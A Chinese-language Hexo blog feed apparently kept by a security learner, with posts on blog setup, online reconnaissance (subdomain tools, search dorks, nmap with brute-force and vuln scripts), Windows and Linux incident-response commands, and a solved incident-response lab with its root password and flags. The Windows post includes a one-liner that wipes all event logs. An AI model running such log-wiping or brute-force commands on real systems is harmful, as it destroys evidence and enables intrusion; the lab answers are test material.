819f512e</p><p>&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;打开面板前请看&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</p><p> 【云服务器】请在安全组放行 39994 端口</p><p> 因默认启用自签证书https加密访问，浏览器将提示不安全</p><p> 点击【高级】-【继续访问】或【接受风险并继续】访问</p><p> 教程：<a class="link"   href="https://www.bt.cn/bbs/thread-117246-1-1.html" >https://www.bt.cn/bbs/thread-117246-1-1.html <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</p><p> 浏览器访问以下链接，添加宝塔客服</p><p> <a class="link"   href="https://www.bt.cn/new/wechat_customer" >https://www.bt.cn/new/wechat_customer <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;&#x3D;</p><p>Time consumed: 4 Minute</p><p><a class="link"   href="https://ohevan.com/vercel-hexo-configuration.html" >https://ohevan.com/vercel-hexo-configuration.html <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>hexo 也提供了简易方式启动命名：hexo s，启动后在浏览器访问：<a href="https://link.zhihu.com/?target=http://localhosst:4000/"><em><strong>*http://localhosst:4000*</strong></em></a>即可打开。</p><p>hexo s 启动本地服务</p><p>hexo clean 清除缓存</p><p>hexo g 打包</p><p>hexo new post article 创建一个名称为 article 的文章</p><p>hexo new page about 创建一个名称为 about 的路由页面</p><p>配置主题</p><p><a class="link"   href="https://redefine-docs.ohevan.com/getting-started" >https://redefine-docs.ohevan.com/getting-started <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>Create a new post</p><p>$ hexo new “My New Post”</p><p>More info: Writing </p><p>Run server</p><p>$ hexo server</p><p>More info: Server </p><p>Generate static files</p><p>$ hexo generate</p><p>More info: Generating </p><p>Deploy to remote sites</p><p>$ hexo deploy</p><p>git config –global –unset http.proxy</p><p>git config –global –unset https.proxy</p><p>git config –global http.proxy <a class="link"   href="http://127.0.0.1:7890/" >http://127.0.0.1:7890 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>git config –global https.proxy <a class="link"   href="http://127.0.0.1:7890/" >http://127.0.0.1:7890 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>git config –global -l</p><p>Git status</p><p>Git add –all</p><p>Git commit -m “ ”</p><p>Git push</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;一、准备工作&quot;&gt;&lt;a href=&quot;#一、准备工作&quot; class=&quot;headerlink&quot; title=&quot;一、准备工作&quot;&gt;&lt;/a&gt;一、准备工作&lt;/h1&gt;&lt;h2 id=&quot;1-GitHub账号&quot;&gt;&lt;a href=&quot;#1-GitHub账号&quot; class=&quot;headerli</summary>
      
    
    
    
    
    <category term="博客安装" scheme="http://example.com/tags/%E5%8D%9A%E5%AE%A2%E5%AE%89%E8%A3%85/"/>
    
  </entry>
  
  <entry>
    <title>信息收集-在线站点</title>
    <link href="http://example.com/2024/11/27/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-%E5%9C%A8%E7%BA%BF%E7%AB%99%E7%82%B9/"/>
    <id>http://example.com/2024/11/27/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-%E5%9C%A8%E7%BA%BF%E7%AB%99%E7%82%B9/</id>
    <published>2024-11-27T10:55:14.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h1 id="一、收集子域名"><a href="#一、收集子域名" class="headerlink" title="一、收集子域名"></a>一、收集子域名</h1><h2 id="DNS域名系统-收集子域名"><a href="#DNS域名系统-收集子域名" class="headerlink" title="DNS域名系统-收集子域名"></a>DNS域名系统-收集子域名</h2><p><a class="link"   href="https://site.ip138.com/" >IP或域名查询 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://hackertarget.com/find-dns-host-records/" >https://hackertarget.com/find-dns-host-records/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://sitereport.netcraft.com/" >https://sitereport.netcraft.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="威胁情报数据-收集子域名"><a href="#威胁情报数据-收集子域名" class="headerlink" title="威胁情报数据-收集子域名"></a>威胁情报数据-收集子域名</h2><p><a class="link"   href="https://www.threatminer.org/index.php" >https://www.threatminer.org/index.php <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://www.virustotal.com/" >https://www.virustotal.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://x.threatbook.com/" >https://x.threatbook.com/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="证书透明度-收集子域名"><a href="#证书透明度-收集子域名" class="headerlink" title="证书透明度-收集子域名"></a>证书透明度-收集子域名</h2><p><strong>什么是证书透明度 ?</strong><br>        在某些情况下，人为错误或假冒行为可能会导致误发证书。证书透明度(CT)改变了签发流程，新流程规定:证书必须记录到<strong>可公开验证</strong>、<strong>不可篡改</strong>且<strong>只能附加内容</strong>的日志中，用户的网络浏览器才会将其视为有效。通过要求将证书记录到这些公开的CT日志中，任何感兴趣的相关方都可以查看由授权中心签发的所有证书。借助该体系我们可以检测被证书授权中心误发的 SSL证书，以及发现已失常并恶意签发证书的证书授权中心。这可促使授权中心在签发证书时更加负责，从而有助于形成一个更可靠的系统。</p><p><a class="link"   href="https://crt.sh/" >https://crt.sh/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://sslmate.com/ct_search_api/" >https://sslmate.com/ct_search_api/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://transparencyreport.google.com/https/certificates/" >https://transparencyreport.google.com/https/certificates/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://ui.ctsearch.entrust.com/ui/ctsearchui" >https://ui.ctsearch.entrust.com/ui/ctsearchui <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="通过js文件获取url与子域名"><a href="#通过js文件获取url与子域名" class="headerlink" title="通过js文件获取url与子域名"></a>通过js文件获取url与子域名</h2><p>安装 git clone <a class="link"   href="https://github.com/Threezh1/JSFinder.git" >https://github.com/Threezh1/JSFinder.git <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>python3 JSFinder.py -u <a class="link"   href="https://gpt.wmhwiki.cn/" >https://gpt.wmhwiki.cn <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>   &#x2F;&#x2F;普通爬取<br>python3 JSFinder.py -u <a class="link"   href="https://baidu.com/" >https://baidu.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -d    &#x2F;&#x2F;深度爬取</p><p>“python3 JSFinder.py -u <a class="link"   href="https://baidu.com/" >https://baidu.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -d -ou baidu_url.txt -os<br>baidu_subdomain.txt    &#x2F;&#x2F;url保存到baidu_url.txt，子域名保存到baidu_subdomain.txt</p><p>python3 JSFinder.py -f text.txt    &#x2F;&#x2F;指定url，text.txt内容为url列表，每行一个<br>python3 JSFinder.py -f text.txt -j   &#x2F;&#x2F;指定js,text.txt内容为js的url,每行一个</p><h2 id="子域名暴力破解-oneforall"><a href="#子域名暴力破解-oneforall" class="headerlink" title="子域名暴力破解-oneforall"></a>子域名暴力破解-oneforall</h2><p>OneForAIl–一款强大的子域名收集工具<br><a class="link"   href="https://github.com/shmilylty/OneForAll" >https://github.com/shmilylty/OneForAll <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a><br>使用方法<br>python3 oneforall.py –target example.com run</p><h1 id="二、搜索语法"><a href="#二、搜索语法" class="headerlink" title="二、搜索语法"></a>二、搜索语法</h1><h2 id="fofa语法"><a href="#fofa语法" class="headerlink" title="fofa语法"></a>fofa语法</h2><p>域名<a class="link"   href="https://fofa.info/" >https://fofa.info <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>title&#x3D;”beijing”    &#x2F;&#x2F;从标题中搜索“beijing”<br>body&#x3D;”网络空间测绘”    &#x2F;&#x2F;从html正文中搜索“网络空间测绘”<br>domain&#x3D;”qq.com”    &#x2F;&#x2F;搜索根域名带有qq.com的网站<br>host&#x3D;”.gov.cn”   &#x2F;&#x2F;从url中搜索”.gov.cn”<br>port&#x3D;”6379”   &#x2F;&#x2F;查找对应“6379”端口的资产<br>ip&#x3D;”1.1.1.1&#x2F;24”    &#x2F;&#x2F;查询IP为“1.1.1.1”的C网段资产<br>domain&#x3D;”qq.com” &amp;&amp; port&#x3D;”22”   &#x2F;&#x2F;通过&amp;&amp;符号组合多个条件</p><h2 id="zoomeye语法"><a href="#zoomeye语法" class="headerlink" title="zoomeye语法"></a>zoomeye语法</h2><p>+来连接</p><h2 id="搜索引擎语法"><a href="#搜索引擎语法" class="headerlink" title="搜索引擎语法"></a>搜索引擎语法</h2><p>google镜像站 <a class="link"   href="https://fsou.cc/" >https://fsou.cc <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>搜索引擎包括google&#x2F;baidu&#x2F;bing等<br>site:xxx.com   &#x2F;&#x2F;搜索xxx.com域名(包含子域名)的页面</p><p>inurl:login   &#x2F;&#x2F;搜索url中包含login的页面<br>intitle:login   &#x2F;&#x2F;搜索标题带有login的页面<br>intext:login    &#x2F;&#x2F;搜索网页内容中带有login的页面<br>filetype:doc    &#x2F;&#x2F;搜索后缀为doc的文件</p><p>减号-的用法:排除特定内容<br>双引号“”的用法:使搜索关键词不被拆分<br><a class="link"   href="https://www.exploit-db.com/google-hacking-database" >https://www.exploit-db.com/google-hacking-database <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h1 id="三、端口扫描，抓包分析"><a href="#三、端口扫描，抓包分析" class="headerlink" title="三、端口扫描，抓包分析"></a>三、端口扫描，抓包分析</h1><h2 id="nmap端口扫描收集信息"><a href="#nmap端口扫描收集信息" class="headerlink" title="nmap端口扫描收集信息"></a>nmap端口扫描收集信息</h2><p>端口：<br>“端口”是英文port的意译，可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口，其中虚拟端口指计算机内部或交换机路由器内的端口，不可见。例如计算机中的80端口、21端口、23端口等。物理端口又称为接口，是可见端口，计算机背板的RJ45网口，交换机路由器集线器等RJ45端口。电话使用RJ11插口也属于物理端口的范畴。</p><p>TCP三次握手</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5CTCP%E4%B8%89%E6%AC%A1%E6%8F%A1%E6%89%8B.png"                      alt="TCP三次握手"                ></p><p>nmap 官网<a class="link"   href="https://nmap.org/" >https://nmap.org/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a><br><font color="red">常用参数</font><br>-sS&#x2F;-ST    #tcp半连接&#x2F;tcp全连接方式扫描<br>-p         #指定端口，支持多种写法，如-p22; -p22,80,443;-p1-65535;<br>-sV      #显示端口对应服务详细版本信息<br>-iL     #扫描多个ip或者多个网段时，可写入到文本文件里，按行分隔，通过-iL指定文件<br>-sC     #调用默认脚本扫描<br>–host-timeout      #设置每台主机扫描最大超时时间，避免大范围扫描时单台主机耗费时间<br>单位为秒，即–host-timeout 30表示每台主机最多扫描30秒<br>-oN&#x2F;-oX     #输出普通文本格式&#x2F;输出XML格式</p><p>nmap -O ip #识别操作系统，需要root权限</p><p><font color="red">详细端口扫描</font></p><p>nmap -p- 192.168.92.135</p><p>nmap -sT -sV -O -p80,7744 192.168.92.135<br>漏洞脚本扫描，目标主机或网段扫描是否存在常见的漏洞<br>nmap –script&#x3D;vuln -p80,7744 192.168.92.135</p><p><font color="red">nmap集成了许多扫描脚本</font></p><p>在&#x2F;usr&#x2F;share&#x2F;nmap&#x2F;scripts目录下</p><p>看到带有暴力破解字样的脚本：mysql-brute.nse</p><p>测试一下：</p><p>nmap -p 3306 –script&#x3D;mysql-brute.nse 127.0.0.1</p><h2 id="app抓包收集信息"><a href="#app抓包收集信息" class="headerlink" title="app抓包收集信息"></a>app抓包收集信息</h2><p>burp + mumu<br>在同一个wlan下设置代理 burp抓包</p><p><a class="link"   href="https://blog.xiaoxiao403.life/2024/04/06/pikachu%E9%80%9A%E5%85%B3%E6%95%99%E7%A8%8B/" >burp配置 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;一、收集子域名&quot;&gt;&lt;a href=&quot;#一、收集子域名&quot; class=&quot;headerlink&quot; title=&quot;一、收集子域名&quot;&gt;&lt;/a&gt;一、收集子域名&lt;/h1&gt;&lt;h2 id=&quot;DNS域名系统-收集子域名&quot;&gt;&lt;a href=&quot;#DNS域名系统-收集子域名&quot; class</summary>
      
    
    
    
    
    <category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>Windows应急-常用命令</title>
    <link href="http://example.com/2024/11/21/Windows%E5%BA%94%E6%80%A5-%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/"/>
    <id>http://example.com/2024/11/21/Windows%E5%BA%94%E6%80%A5-%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/</id>
    <published>2024-11-21T17:29:57.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<p><font color='red'>everything</font>搜索文件</p><p>certutil -hashfile 文件     查看文件MD5</p><p>netstat -ano 查看tcp连接</p><p>宏病毒</p><p>win+r  regedit<br>计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run<br>查看启动项</p><p>for &#x2F;F “tokens&#x3D;*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1”<br>立即删除所有类型的Windows事件日志。</p><p>wevtutil.exe cl System 来清除系统日志<br>wevtutil.exe cl Application 来清除应用程序日志</p><p>5shift粘滞键</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;font color=&#39;red&#39;&gt;everything&lt;/font&gt;搜索文件&lt;/p&gt;
&lt;p&gt;certutil -hashfile 文件     查看文件MD5&lt;/p&gt;
&lt;p&gt;netstat -ano 查看tcp连接&lt;/p&gt;
&lt;p&gt;宏病毒&lt;/p&gt;
&lt;p&gt;win+r  reg</summary>
      
    
    
    
    
    <category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>Linux应急-常用命令</title>
    <link href="http://example.com/2024/11/20/Linux%E5%BA%94%E6%80%A5-%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/"/>
    <id>http://example.com/2024/11/20/Linux%E5%BA%94%E6%80%A5-%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/</id>
    <published>2024-11-20T20:35:39.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<p>首先查看当前主机最近的用户登录情况，如何黑客成功登录，那么可以查到成功登录的记录</p><p>[root@localhost defend]# grep “Accepted “ &#x2F;var&#x2F;log&#x2F;secure* | awk ‘{print $1,$2,$3,$9,$11}’<br>Mar 18 20:23:07 root 192.168.75.129<br>Mar 20 14:28:21 defend 192.168.1.104</p><p>mysql  3306<br><font color='red'>find &#x2F; -name config.inc.php（数据库常用配置文件名）</font></p><p>redis  6379<br>cat &#x2F;var&#x2F;log&#x2F;redis&#x2F;redis.log | grep Acc</p><p> 192.168.75.129</p><p>查看用户<br>cat &#x2F;etc&#x2F;passwd</p><p>账户排查<br>排查是否有黑客进来或者创建了用户，同事在这里也可以排查一下是否有黑客暴力破解ssh。</p><p>w #查看当前登录进来的用户操作</p><p>cat &#x2F;etc&#x2F;passwd #查看是否有可疑账号</p><p>cat &#x2F;etc&#x2F;shadow #查看影子文件是否有问题</p><p>过滤特权用户<br>查看是否有其他可疑的特权用户<br>awk -F: ‘$3&#x3D;&#x3D;0{print $1}’ &#x2F;etc&#x2F;passwd</p><p>过滤远程登录用户<br>查看是否有其他可疑远程登录用户<br>awk ‘&#x2F;$1|$6&#x2F;{print $1}’ &#x2F;etc&#x2F;shadow</p><p>查看可疑进程<br><font color='red'>ps -aux</font></p><p>查看可以命令<br><font color='red'>history</font></p><p>&#x2F;home&#x2F;www&#x2F;wwwroot<br>127.0.0.1&#x2F;.api<br>&#x2F;etc&#x2F;profile<br>go_build_untited.exe</p><p>那么黑客是怎么打进来的？<br>此时，想到了刚才查看passwd文件时，最后一个用户是redis用户，说明该机器上存在redis服务，于是查看网络连接，看看6379端口是否开放。</p><p><font color='red'>netstat -anltup</font></p><p>没有发现6379端口，那么先运行该服务</p><p>redis-server</p><p>redis运行起来之后，需要进行登录，但是不知道密码，那就先尝试一下redis未授权</p><p>查看redis安装位置<br>先查看redis进程号, 查看命令: ps -ef | grep redis<br>ll -l &#x2F;proc&#x2F;4687&#x2F;cwd</p><p>看看有哪些文件被修改过<br>rpm -Vf &#x2F;usr&#x2F;bin&#x2F;*</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;首先查看当前主机最近的用户登录情况，如何黑客成功登录，那么可以查到成功登录的记录&lt;/p&gt;
&lt;p&gt;[root@localhost defend]# grep “Accepted “ &amp;#x2F;var&amp;#x2F;log&amp;#x2F;secure* | awk ‘{print $</summary>
      
    
    
    
    
    <category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
  </entry>
  
  <entry>
    <title>知攻善防应急响应靶机Linux2</title>
    <link href="http://example.com/2024/11/20/%E7%9F%A5%E6%94%BB%E5%96%84%E9%98%B2%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E9%9D%B6%E6%9C%BALinux2/"/>
    <id>http://example.com/2024/11/20/%E7%9F%A5%E6%94%BB%E5%96%84%E9%98%B2%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E9%9D%B6%E6%9C%BALinux2/</id>
    <published>2024-11-20T17:33:58.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h4 id="背景："><a href="#背景：" class="headerlink" title="背景："></a><font color='red'>背景：</font></h4><p>看监控的时候发现webshell告警，领导让你上机检查你可以救救安服仔吗！！</p><p>账号：root，密码：Inch@957821.</p><h4 id="靶场要求："><a href="#靶场要求：" class="headerlink" title="靶场要求："></a><font color='red'>靶场要求：</font></h4><p>（1）<a href="#1">提交攻击者IP</a><br>（2）<a href="#2">提交攻击者修改的管理员密码(明文)</a><br>（3）<a href="#3">提交第一次Webshell的连接URL</a><br>（4）<a href="#4">提交Webshell连接密码</a><br>（5）<a href="#5">提交数据包的flag1</a><br>（6）<a href="#6">提交攻击者使用的后续上传的木马文件名称</a><br>（7）<a href="#7">提交攻击者隐藏的flag2</a><br>（8）<a href="#8">提交攻击者隐藏的flag3</a></p><h4 id="过程："><a href="#过程：" class="headerlink" title="过程："></a><font color='red'>过程：</font></h4><ol><li><font color='red'>为了方便，先用xshell连接靶机</font></li></ol><p>登录靶机之后查看ip地址：ipconfig</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120174719874.png"                      alt="image-20241120174719874"                ></p><p>ip：192.168.92.130</p><p>xshell连接：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120174958946.png"                      alt="image-20241120174958946"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120175613332.png"                      alt="image-20241120175613332"                ></p><p>刚开机，ls查看一下吧</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120175756011.png"                      alt="image-20241120175756011"                ></p><ol start="2"><li><font color='red'>发现有个数据包，用xftp连接拷出来，并且用wireshark打开，并且稍稍分析一下数据。</font></li></ol><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120175837579.png"                      alt="image-20241120175837579"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120180037482.png"                      alt="image-20241120180037482"                ></p><p>我一眼就看出来，192.168.20.1和192.168.20.144进行数据传输，攻击者不是20.1就是20.144，背景中发现webshell告警，说明服务器开启了web服务，用的协议不是http就是https，我们过滤http协议的数据包来分析一下：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120180649415.png"                      alt="image-20241120180649415"                ></p><p>发现192.168.20.1向192.168.20.144发送了post请求并且携带参数，右键-&gt;追踪流-&gt;HTTP Stream，发现很奇怪的一串编码（url编码特征：使用%后跟着十六进制数字的方式替代不安全的ASCLL字符），url解码分析代码，user-app-register根据名字推测可能是注册（bushi，其实是是webshell，对应<font id='3' color= 'red'>第一次Webshell的连接URL（3）index.php?user-app-register</font>,同时推出攻击者ip：<font id='1' color= 'red'>（1）192.168.20.1</font></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120185733099.png"                      alt="image-20241120185733099"                ></p><p>注：根据 Network2020&#x3D;@ini_set(“display_errors”, “0”); 就可以知道这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码，但是有的客户端会将这段编码或者加密，而蚁剑是明文，所以较好发现。所以连接密码是<font id='4' color= 'red'>（4）Network2020</font></p><p>知道攻击者ip，这样我们可以继续细分过滤源ip和协议：ip.src eq 192.168.20.1 and http</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120182325003.png"                      alt="image-20241120182325003"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120182409579.png"                      alt="image-20241120182409579"                ></p><p>发现攻击者先是提交user-app-register，之后get请求了flag1，最后post请求version2，推测后续上传的木马文件名称就是<font id='6' color= 'red'>（6）version2</font></p><p>flag1？？？查看一下吧 右键-&gt;追踪流-&gt;HTTP Stream</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120182914195.png"                      alt="image-20241120182914195"                ></p><p>找到<font id='5' color= 'red'>（5）flag1{Network@_2020_Hack}</font>，并且发现一大串编码猜测可能是用户cookie</p><ol start="3"><li>去服务器查找文件</li></ol><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120191909124.png"                      alt="image-20241120191909124"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120191922381.png"                      alt="image-20241120191922381"                ></p><p>竟然没有发现？？？！！！</p><p>然后 history 历史命令</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120192148446.png"                      alt="image-20241120192148446"                ></p><p>首先关闭了防火墙，推测数据库是mysql，并且使用了宝塔，大致目录&#x2F;www&#x2F;wwwroot&#x2F;127.0.0.1</p><p>继续查看，发现删除了flag1和，version2文件</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120192316377.png"                      alt="image-20241120192316377"                ></p><p>并且还发现了<font id='8' color= 'red'>（8）flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}</font></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120192436250.png"                      alt="image-20241120192436250"                ></p><p>从历史命令中看到编辑了好多文件，现在挨个查看看编辑了什么</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120192702942.png"                      alt="image-20241120192702942"                ></p><p>查看：cat &#x2F;etc&#x2F;sysconfig&#x2F;selinux</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120192853887.png"                      alt="image-20241120192853887"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120192743980.png"                      alt="image-20241120192743980"                ></p><p>查找文件位置：</p><p>find &#x2F; -name mpnotify.php  </p><p>find &#x2F; -name alinotify.php</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120192954647.png"                      alt="image-20241120192954647"                ></p><p>查看：</p><p>cat &#x2F;www&#x2F;wwwroot&#x2F;127.0.0.1&#x2F;api&#x2F;mpnotify.php</p><p>cat &#x2F;www&#x2F;wwwroot&#x2F;127.0.0.1&#x2F;.api&#x2F;mpnotify.php</p><p>cat &#x2F;www&#x2F;wwwroot&#x2F;127.0.0.1&#x2F;api&#x2F;alinotify.php</p><p>cat &#x2F;www&#x2F;wwwroot&#x2F;127.0.0.1&#x2F;.api&#x2F;alinotify.php</p><p>最终功夫不负有心人，发现了<font id='7' color= 'red'>（7）flag2 &#x3D; “flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}”</font></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120193858413.png"                      alt="image-20241120193858413"                ></p><ol start="4"><li>最后发现，还有（2）未完成，攻击者修改的管理员密码，上面，我们从history历史命令发现使用过bt且推测使用mysql数据库</li></ol><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120194508391.png"                      alt="image-20241120194508391"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120195227068.png"                      alt="image-20241120195227068"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/%5Cimages%5C%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%5Cimage-20241120194620976.png"                      alt="image-20241120194620976"                ></p><p>|-用户名: vkegzrry<br>|-新密码: xiaoxiao</p><p>登陆进去数据库里面竟然没东西，那么我们看看数据库账号密码，在终端登录看看吧</p><p><img                       lazyload        